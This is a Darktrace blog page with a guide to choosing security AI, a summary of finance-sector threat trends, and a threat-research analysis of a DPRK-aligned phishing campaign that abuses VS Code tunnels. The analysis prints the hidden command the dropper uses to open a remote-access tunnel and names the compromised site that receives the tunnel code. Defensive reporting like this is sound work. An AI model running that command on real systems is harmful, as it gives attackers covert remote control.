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December 20, 2022

How to Select the Right Cybersecurity AI

Choosing the right cybersecurity AI is crucial. Darktrace's guide provides insights and tips to help you make an informed decision.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Germaine Tan
VP, Security & AI Strategy, Field CISO
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20
Dec 2022

AI has long been a buzzword – we started seeing it utilized in consumer space; in social media, e-commerce, and even in our music preference! In the past few years it has started to make its way through the enterprise space, especially in cyber security.

Increasingly, we see threat actors utilizing AI in their attack techniques. This is inevitable with the advancements in AI technology, the lower barrier to entry to the cyber security industry, and the continued profitability of being a threat actor. Surveying security decision makers across different industries like financial services and manufacturing, 77% of the respondents expect weaponized AI to lead to an increase in the scale and speed of attacks. 

Defenders are also ramping up their use of AI in cyber security – with more than 80% of the respondents agreeing that organizations require advanced defenses to combat offensive AI – resulted in a ‘cyber arms race’ with adversaries and security teams in constant pursuit of the latest technological advancements.  

The rules and signature approach is no longer sufficient in this evolving threat landscape. Because of this collective need, we will continue to see the push of AI innovations in this space as well. By 2025, cyber security technologies will account for 25% of the AI software market.

Despite the intrigue surrounding AI, many people have a limited understanding of how it truly works. The mystery of AI technology is what piques the interest of many cyber security practitioners. As an industry we also know that AI is necessary for advancement, but there is so much noise around AI and machine learning that some teams struggle to understand it. The paradox of choice leaves security teams more frustrated and confused by all the options presented to them.

Identifying True AI

You first need to define what you want the AI technology to solve. This might seem trivial, but many security teams often forget to come back to the fundamentals: what problem are you addressing? What are you trying to improve? 

Not every process needs AI; some processes will simply need automation – these are the more straightforward parts of your business. More complex and bigger systems require AI. The crux is identifying these parts of your business, applying AI and being clear of what you are going to achieve with these AI technologies. 

For example, when it comes to factory floor operations or tracking leave days of employees, businesses employ automation technologies, but when it comes to business decisions like PR strategies or new business exploration, AI is used to predict trends and help business owners make these decisions. 

Similarly, in cyber security, when dealing with known threats such as known malicious malware and hosting sites, automation is great at keeping track of them; workflows and playbooks are also best assessed with automation tools. However, when it comes to unknown unknowns like zero-day attacks, insider threats, IoT threats and supply chain attacks, AI is needed to detect and respond these threats as they emerge.

Automation is often communicated as AI, and it becomes difficult for security teams to differentiate. Automation helps you to quickly make a decision you already know you will make, whereas true AI helps you make a better decision.

Key ways to differentiate true AI from automation:

  • The Data Set: In automation, what you are looking for is very well-scoped. You already know what you are looking for – you are just accelerating the process with rules and signatures. True AI is dynamic. You no longer need to define activities that deserve your attention, the AI highlights and prioritizes this for you.
  • Bias: When you define what you are looking for, as humans inherently we impose our biases on these decisions. We are also limited by our knowledge at that point in time – this leaves out the crucial unknown unknowns.
  • Real-time: Every organization is always changing and it is important that AI takes all that data into consideration. True AI that is real time and also changes with your organization’s growth is hard to find. 

Our AI Research Centre has produced numerous papers on the applications of true AI in cyber security. The Centre comprises of more than 150 members and has more than 100 patents and patents pending. Some of the featured white papers include research on Attack Path Modeling and using AI as a preventative approach in your organization. 

Integrating AI Outputs with People, Process, and Technology


Integrating AI with People

We are living in the time of trust deficit, and that applies to AI as well. As humans we can be skeptical with AI, so how do we build trust for AI such that it works for us? This applies not only to the users of the technology, but the wider organization as well. Since this is the People pillar, the key factors to achieving trust in AI is through education, culture, and exposure. In a culture where people are open to learn and try new AI technologies, we will naturally build trust towards AI over time.

Integrating AI with Process

Then we should consider the integration of AI and its outputs into your workflow and playbooks. To make decisions around that, security managers need to be clear what their security priorities are, or which security gaps a particular technology is meant to fill. Regardless of whether you have an outsourced MSSP/SOC team, 50-strong in-house SOC team, or even just a 2-man team, it is about understanding your priorities and assigning the proper resources to them.

Integrating AI with Technology 

Finally, there is the integration of AI with your existing technology stack. Most security teams deploy different tools and services to help them achieve different goals – whether it is a tool like SIEM, a firewall, an endpoint, or services like pentesting, or vulnerability assessment exercises. One of the biggest challenges is putting all of this information together and pulling actionable insights out of them. Integration on multiple levels is always challenging with complex technologies because they technologies can rate or interpret threats differently.

Security teams often find themselves spending the most time making sense of the output of different tools and services. For example, taking the outcomes from a pentesting report and trying to enhance SOAR configurations, or looking at SOC alerts to advise firewall configurations, or taking vulnerability assessment reports to scope third-party Incident Response teams.

These tools can have a strong mastery of large volumes of data, but eventually ownership of the knowledge should still lie with the human teams – and the way to do that is with continuous feedback and integration. It is no longer efficient to use human teams to carry out this at scale and at speed. 

The Cyber AI Loop is Darktrace’s approach to cyber security. The four product families make up a key aspect of an organization’s cyber security posture. Darktrace PREVENT, DETECT, RESPOND and HEAL each feed back into a continuous, virtuous cycle, constantly strengthening each other’s abilities. 

This cycle augments humans at every stage of an incident lifecycle. For example, PREVENT may alert you to a vulnerability which holds a particularly high risk potential for your organization. It provides clear mitigation advice, and while you are on this, PREVENT will feed into DETECT and RESPOND, which are immediately poised to kick in should an attack occur in the interim. Conversely, once an attack has been contained by RESPOND, it will feed information back into PREVENT which will anticipate an attacker’s likely next move. Cyber AI Loop helps you harden security a holistic way so that month on month, year on year, the organization continuously improves its defensive posture. 

Explainable AI

Despite its complexity, AI needs to produce outputs that are clear and easy to understand in order to be useful. In the heat of the moment during a cyber incident, human teams need to quickly comprehend: What happened here? When did it happen? What devices are affected? What does it mean for my business? What should I deal with first?

To this end, Darktrace applies another level of AI on top of its initial findings that autonomously investigates in the background, reducing a mass of individual security events to just a few overall cyber incidents worthy of human review. It generates natural-language incident reports with all the relevant information for your team to make judgements in an instant. 

Figure 1: An example of how Darktrace filters individual model breaches into incidents and then critical incidents for the human to review 

Cyber AI Analyst does not only take into consideration network detection but also in your endpoints, your cloud space, IoT devices and OT devices. Cyber AI Analyst also looks at your attack surface and the risks associated to triage and show you the most prioritized alerts that if unexpected would cause maximum damage to your organization. These insights are not only delivered in real time but also unique to your environment.

This also helps address another topic that frequently comes up in conversations around AI: false positives. This is of course a valid concern: what is the point of harvesting the value of AI if it means that a small team now must look at thousands of alerts? But we have to remember that while AI allows us to make more connections over the vastness of logs, its goal is not to create more work for security teams, but to augment them instead.

To ensure that your business can continue to own these AI outputs and more importantly the knowledge, Explainable AI such as that used in Darktrace’s Cyber AI Analyst is needed to interpret the findings of AI, to ensure human teams know what happened, what action (if any) the AI took, and why. 

Conclusion

Every organization is different, and its security should reflect that. However, some fundamental common challenges of AI in cyber security are shared amongst all security teams, regardless of size, resources, industry vertical, and culture. Their cyber strategy and maturity levels are what sets them apart. Maturity is not defined by how many professional certifications or how many years of experience the team has. A mature team works together to solve problems. They understand that while AI is not the silver bullet, it is a powerful bullet that if used right, will autonomously harden the security of the complete digital ecosystem, while augmenting the humans tasked with defending it. 

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Germaine Tan
VP, Security & AI Strategy, Field CISO

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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